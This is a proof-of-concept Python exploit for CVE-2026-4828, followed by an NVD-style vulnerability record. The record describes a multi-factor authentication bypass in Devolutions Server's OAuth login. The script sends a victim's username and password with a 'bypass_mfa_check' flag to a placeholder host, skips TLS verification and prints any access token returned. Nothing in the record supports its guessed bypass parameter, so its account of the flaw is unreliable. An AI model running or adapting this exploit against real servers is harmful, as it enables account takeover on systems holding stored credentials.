CVE-2026-4828

import requests # PoC for CVE-2026-4828 # Description: Bypass MFA in OAuth login by sending a crafted request. # Requirements: Valid username and password. target = "https://<target_host>/oauth/login" username = "victim_user" password = "valid_password" # The crafted payload attempts to skip the MFA step payload = { "username": username, "password": password, "grant_type": "password", "client_id": "devoLutions_web", "bypass_mfa_check": "1" # Malicious parameter to trigger bypass } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } try: response = requests.post(target, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200 and "access_token" in response.text: print("[+] Exploit successful! MFA bypassed.") print("[+] Received Token:", response.json().get("access_token")) else: print("[-] Exploit failed or patch applied.") print("[-] Response:", response.text) except Exception as e: print("[-] Error:", str(e))

{"cve": {"id": "CVE-2026-4828", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:51.430", "lastModified": "2026-04-03T19:28:06.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in the OAuth login functionality in Devolutions Server 2026.1.11 and earlier allows a remote attacker with valid credentials to bypass multi-factor authentication via a crafted login request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1390"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.18.0", "matchCriteriaId": "7C169CF9-1641-4C76-9325-AB65E716C7C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.1.0", "versionEndExcluding": "2026.1.12.0", "matchCriteriaId": "710C8535-DE31-447E-A7FD-41DC513106F5"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}